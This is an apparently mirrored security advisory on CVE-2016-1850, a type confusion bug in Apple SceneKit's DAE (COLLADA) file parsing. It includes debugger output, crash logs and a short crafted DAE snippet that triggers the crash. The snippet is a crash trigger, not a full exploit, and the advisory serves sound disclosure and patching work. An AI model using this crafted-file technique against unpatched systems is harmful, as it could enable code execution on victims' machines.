Apple OS X Scene Kit DAE XML Code Execution Vulnerability(CVE-2016-1850)

2017-10-17T00:00:00
ID SSV:96726
Type seebug
Reporter Root
Modified 2017-10-17T00:00:00

Description

SUMMARY

An exploitable type confusion vulnerability exists in the handling of DAE images on OS X. A crafted DAE document can trigger a type confusion vulnerability which potentially could be exploited to achieve attacker controlled code execution. Vulnerability can be triggered via a saved DAE file delivered by other means.

TESTED VERSIONS

OSX El Capitan - 10.11.4

PRODUCT URLs

https://developer.apple.com/scenekit/

CVSSv3 SCORE

7.4 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:U

DETAILS

This vulnerability is present in the Apple Scene Kit API which is used for all 3D image handling on OS X including most 3rd party 3D applications.

There exists a vulnerability inside of Scene Kit in the parsing and handling of DAE images. A specially crafted DAE image file can lead to a type confusion vulnerability and ultimately to control.

COLLADA defines an open standard XML schema for exchanging digital assets among various graphics software applications that might otherwise store their assets in incompatible file formats. COLLADA documents that describe digital assets are XML files, usually identified with a .dae (digital asset exchange) filename extension. In the XML it i possible to specify and create custom objects to be used by the renderer. Invalid checking allows a user to pass in an object that doesn't have the proper properties and gets illegally accessed. The inital crash is shown below: RAX: 0x0000000000000000 RBX: 0x000000010072F428 RBP: 0x00007FFF5FBFD160 RSP: 0x00007FFF5FBFD130 o d I t s z a P c RDI: 0x000000010072F428 RSI: 0x00000001007AA702 RDX: 0xFFFFFFFFFFFFFFFF RCX: 0x0000000200000000 RIP: 0x000000010078DC5F R8: 0x0000000126A21FC0 R9: 0x00000001008E8128 R10: 0x00000001008E7AA8 R11: 0x00000001007A9BF6 R12: 0x480006B018E8DF3C R13: 0x0000000126A21FC0 R14: 0xFFFFFFFFFFFFFFFF R15: 0x00000001007AA702 CS: 002B FS: 0000 GS: 0000

SceneKit(anonymous namespace)::getAttributeIndex: -&gt; 0x10078dc5f &lt;+33&gt;: mov r13, qword ptr [r12 + 0x30] ``` 0x10078dc64 <+38>: test r13, r13 0x10078dc67 <+41>: je 0x10078dca0 ; <+98> 0x10078dc69 <+43>: xor ebx, ebx 0x10078dc6b <+45>: cmp r13, rbx 0x10078dc6e <+48>: jbe 0x10078dcb2 ; <+116> 0x10078dc70 <+50>: mov rax, qword ptr [r12 + 0x40] 0x10078dc75 <+55>: mov rax, qword ptr [rax + 8*rbx]

(lldb) bt thread #1: tid = 0x720797, 0x000000010078dc5f SceneKit(anonymous namespace)::getAttributeIndex(daeElement&, char const*) + 33, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) * frame #0: 0x000000010078dc5f SceneKit(anonymous namespace)::getAttributeIndex(daeElement&, char const) + 33 frame #1: 0x000000010078edbd SceneKitdaeElement::getID() const + 33 frame #2: 0x000000010041a578 SceneKitC3DIO_COLLADA_CreateUniqueIDForEntityWithExtraString + 22 frame #3: 0x0000000100413ff0 SceneKitC3DIO_COLLADA_ReadGeometry(domGeometry*, __C3DLibrary*, __CFArray*, __CFDictionary*, __CFDictionary const*, bool) + 348 frame #4: 0x0000000100415173 SceneKitC3DIO_COLLADA_ReadGeometryInstance(daeSmartRef<domInstance_geometry>, C3DLibrary*, C3DNode, CFDictionary const*) + 162 frame #5: 0x000000010042a5ca SceneKit`C3DIO_COLLADA_ReadNode(daeSmartRef<domNode>, C3DNode, C3DLibrary*,
CFDictionary*) + 2056 ```

It is seen that R12 is an out of bounds user controlled value and that this crashing function was called from ReadGeometry assuming the object passed in was a geometry type object. Looking at our DAE file we can see what caused the crash. &lt;node id="Box" name="Box"&gt; &lt;rotate sid="rotateZ"&gt;0 0 1 0&lt;/rotate&gt; &lt;rotate sid="rotateY"&gt;0 1 0 0&lt;/rotate&gt; &lt;rotate sid="rotateX"&gt;1 0 0 0&lt;/rotate&gt; &lt;!-- pointLightShape1 is a light object not a geometry object thus has different properties causing the illegal access --&gt; &lt;instance_geometry url="#pointLightShape1-lib"/&gt; &lt;instance_light url="#ambientLight-lib"/&gt; &lt;/node&gt;

By looking at the DAE file itself the problem becomes readily apparent. If an attacker was able to shape an object in such a way as to bypass this illegal access and continue on to the virtual call they could gain full remote code execution.

CRASH INFORMATION

``` Crashed thread log = : Dispatch queue: com.apple.main-thread 0 com.apple.SceneKit 0x000000010be9dc5f (anonymous namespace)::getAttributeIndex(daeElement&, char const) + 33 1 com.apple.SceneKit 0x000000010be9edbd daeElement::getID() const + 33 2 com.apple.SceneKit 0x000000010bb2a578 C3DIO_COLLADA_CreateUniqueIDForEntityWithExtraString + 22 3 com.apple.SceneKit 0x000000010bb23ff0 C3DIO_COLLADA_ReadGeometry(domGeometry, C3DLibrary*, CFArray,
CFDictionary*, CFDictionary const
, bool) + 348 4 com.apple.SceneKit 0x000000010bb25173 C3DIO_COLLADA_ReadGeometryInstance(daeSmartRef<domInstance_geometry>, C3DLibrary*, C3DNode, CFDictionary const*) + 162 5 com.apple.SceneKit 0x000000010bb3a5ca C3DIO_COLLADA_ReadNode(daeSmartRef<domNode>, C3DNode, C3DLibrary*, CFDictionary*) + 2056 6 com.apple.SceneKit 0x000000010bb28ae6 C3DIO_COLLADA_LoadScene + 6010 7 com.apple.SceneKit 0x000000010bb3c10f C3DSceneSourceCreateSceneAtIndex + 301 8 com.apple.SceneKit 0x000000010bc31348 -[SCNSceneSource _createSceneRefWithOptions:statusHandler:] + 1056 9 com.apple.SceneKit 0x000000010bc31b20 -[SCNSceneSource _sceneWithClass:options:statusHandler:] + 838 10 com.apple.SceneKit 0x000000010bc31d63 -[SCNSceneSource sceneWithClass:options:statusHandler:] + 39 11 com.apple.Preview 0x000000010b7607dd 0x10b716000 + 305117 12 com.apple.Preview 0x000000010b71b731 0x10b716000 + 22321 13 com.apple.Preview 0x000000010b809fb6 0x10b716000 + 999350 14 libdispatch.dylib 0x00007fff9c53693d _dispatch_call_block_and_release + 12 15 libdispatch.dylib 0x00007fff9c52b40b _dispatch_client_callout + 8 16 libdispatch.dylib 0x00007fff9c53ec1c _dispatch_main_queue_callback_4CF + 1685 17 com.apple.CoreFoundation 0x00007fff8e4a39e9 CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE + 9 18 com.apple.CoreFoundation 0x00007fff8e4628dd __CFRunLoopRun + 1949 19 com.apple.CoreFoundation 0x00007fff8e461ed8 CFRunLoopRunSpecific + 296 20 com.apple.HIToolbox 0x00007fff95160935 RunCurrentEventLoopInMode + 235 21 com.apple.HIToolbox 0x00007fff9516076f ReceiveNextEventCommon + 432 22 com.apple.HIToolbox 0x00007fff951605af _BlockUntilNextEventMatchingListInModeWithFilter + 71 23 com.apple.AppKit 0x00007fff9971aefa _DPSNextEvent + 1067 24 com.apple.AppKit 0x00007fff9971a32a -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] + 454 25 com.apple.AppKit 0x00007fff9970ee84 -[NSApplication run] + 682 26 com.apple.AppKit 0x00007fff996d846c NSApplicationMain + 1176 27 libdyld.dylib 0x00007fff911725ad start + 1

log name is: ./crashlogs/_Users_t_Downloads_dae-report_type_confusion_dae.crashlog.txt

exception=EXC_BAD_ACCESS:signal=11:is_exploitable= no:instruction_disassembly=movq
CONSTANT(%r12),%r13:instruction_address=0x000000010be9dc5f:access_type=read:access_address=0x0000000000000000: The exception code indicates that the access address was invalid in the 64-bit ABI (it was > 0x0000800000000000). Crash accessing invalid address. Consider running it again with libgmalloc(3) to see if the log changes. + EXIT_VALUE=11 + exit 11 ```

TIMELINE

  • 2016-05-16 - Vendor Disclosure
  • 2016-07-18 - Patch released